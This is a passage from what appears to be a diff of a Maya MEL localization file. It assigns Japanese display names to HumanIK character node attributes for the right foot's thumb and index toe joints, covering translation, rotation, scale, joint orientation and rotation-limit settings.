"RightFootThumb1Sy", "右足親指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Sz", "右足親指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", "右足親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxis", "右足親指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxisx", "右足親指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxisy", "右足親指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxisz", "右足親指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrient", "右足親指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrientx", "右足親指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrienty", "右足親指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrientz", "右足親指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimit", "右足親指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitx", "右足親指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimity", "右足親指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitz", "右足親指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimit", "右足親指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitx", "右足親指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimity", "右足親指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitz", "右足親指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitEnablex", "右足親指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitEnabley", "右足親指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitEnablez", "右足親指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitEnablex", "右足親指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitEnabley", "右足親指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitEnablez", "右足親指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2", "右足親指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2T", "右足親指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Tx", "右足親指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Ty", "右足親指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Tz", "右足親指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2R", "右足親指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Rx", "右足親指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Ry", "右足親指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Rz", "右足親指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2S", "右足親指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Sx", "右足親指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Sy", "右足親指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Sz", "右足親指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", "右足親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxis", "右足親指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxisx", "右足親指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxisy", "右足親指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxisz", "右足親指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrient", "右足親指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrientx", "右足親指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrienty", "右足親指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrientz", "右足親指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimit", "右足親指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitx", "右足親指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimity", "右足親指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitz", "右足親指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimit", "右足親指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitx", "右足親指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimity", "右足親指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitz", "右足親指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitEnablex", "右足親指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitEnabley", "右足親指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitEnablez", "右足親指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitEnablex", "右足親指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitEnabley", "右足親指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitEnablez", "右足親指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3", "右足親指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3T", "右足親指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Tx", "右足親指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Ty", "右足親指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Tz", "右足親指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3R", "右足親指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Rx", "右足親指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Ry", "右足親指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Rz", "右足親指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3S", "右足親指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Sx", "右足親指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Sy", "右足親指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Sz", "右足親指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", "右足親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxis", "右足親指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxisx", "右足親指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxisy", "右足親指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxisz", "右足親指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrient", "右足親指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrientx", "右足親指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrienty", "右足親指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrientz", "右足親指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimit", "右足親指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitx", "右足親指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimity", "右足親指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitz", "右足親指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimit", "右足親指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitx", "右足親指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimity", "右足親指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitz", "右足親指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitEnablex", "右足親指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitEnabley", "右足親指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitEnablez", "右足親指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitEnablex", "右足親指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitEnabley", "右足親指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitEnablez", "右足親指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4", "右足親指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4T", "右足親指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Tx", "右足親指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Ty", "右足親指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Tz", "右足親指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4R", "右足親指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Rx", "右足親指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Ry", "右足親指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Rz", "右足親指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4S", "右足親指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Sx", "右足親指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Sy", "右足親指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Sz", "右足親指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", "右足親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxis", "右足親指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxisx", "右足親指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxisy", "右足親指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxisz", "右足親指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrient", "右足親指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrientx", "右足親指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrienty", "右足親指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrientz", "右足親指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimit", "右足親指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitx", "右足親指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimity", "右足親指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitz", "右足親指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimit", "右足親指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitx", "右足親指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimity", "右足親指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitz", "右足親指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitEnablex", "右足親指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitEnabley", "右足親指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitEnablez", "右足親指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitEnablex", "右足親指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitEnabley", "右足親指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitEnablez", "右足親指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1", "右足人差指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1T", "右足人差指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Tx", "右足人差指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Ty", "右足人差指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Tz", "右足人差指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1R", "右足人差指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Rx", "右足人差指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Ry", "右足人差指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Rz", "右足人差指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1S", "右足人差指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Sx", "右足人差指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Sy", "右足人差指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Sz", "右足人差指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", "右足人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxis", "右足人差指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxisx", "右足人差指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxisy", "右足人差指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxisz", "右足人差指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrient", "右足人差指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrientx", "右足人差指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrienty", "右足人差指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrientz", "右足人差指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimit", "右足人差指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitx", "右足人差指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimity", "右足人差指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitz", "右足人差指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimit", "右足人差指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitx", "右足人差指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimity", "右足人差指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitz", "右足人差指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitEnablex", "右足人差指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitEnabley", "右足人差指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitEnablez", "右足人差指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitEnablex", "右足人差指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitEnabley", "右足人差指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitEnablez", "右足人差指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2", "右足人差指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2T", "右足人差指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Tx", "右足人差指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Ty", "右足人差指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Tz", "右足人差指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2R", "右足人差指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Rx", "右足人差指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Ry", "右足人差指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Rz", "右足人差指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2S", "右足人差指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Sx", "右足人差指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Sy", "右足人差指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Sz", "右足人差指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", "右足人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxis", "右足人差指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxisx", "右足人差指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxisy", "右足人差指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxisz", "右足人差指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrient", "右足人差指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrientx", "右足人差指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrienty", "右足人差指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrientz", "右足人差指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimit", "右足人差指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitx", "右足人差指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimity", "右足人差指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitz", "右足人差指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimit", "右足人差指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitx", "右足人差指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimity", "右足人差指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitz", "右足人差指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitEnablex", "右足人差指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitEnabley", "右足人差指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitEnablez", "右足人差指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitEnablex", "右足人差指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitEnabley", "右足人差指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitEnablez", "右足人差指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3", "右足人差指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3T", "右足人差指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Tx", "右足人差指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Ty", "右足人差指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Tz", "右足人差指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3R", "右足人差指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Rx", "右足人差指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Ry", "右足人差指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Rz", "右足人差指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3S", "右足人差指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Sx", "右足人差指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Sy", "右足人差指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Sz", "右足人差指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", "右足人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxis", "右足人差指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxisx", "右足人差指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxisy", "右足人差指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxisz", "右足人差指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrient", "右足人差指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrientx", "右足人差指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrienty", "右足人差指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrientz", "右足人差指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimit", "右足人差指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitx", "右足人差指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimity", "右足人差指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitz", "右足人差指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimit", "右足人差指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitx", "右足人差指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimity", "右足人差指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitz", "右足人差指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitEnablex", "右足人差指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitEnabley", "右足人差指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitEnablez", "右足人差指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitEnablex", "右足人差指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitEnabley", "右足人差指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitEnablez", "右足人差指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4", "右足人差指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4T", "右足人差指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Tx", "右足人差指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Ty", "右足人差指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Tz", "右足人差指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4R", "右足人差指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Rx", "右足人差指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Ry", "右足人差指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Rz", "右足人差指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4S", "右足人差指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Sx", "右足人差指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Sy", "右足人差指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Sz", "右足人差指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", "右足人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxis", "右足人差指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxisx", "右足人差指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxisy", "右足人差指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxisz", "右足人差指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrient", "右足人差指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrientx", "右足人差指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrienty", "右足人差指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", 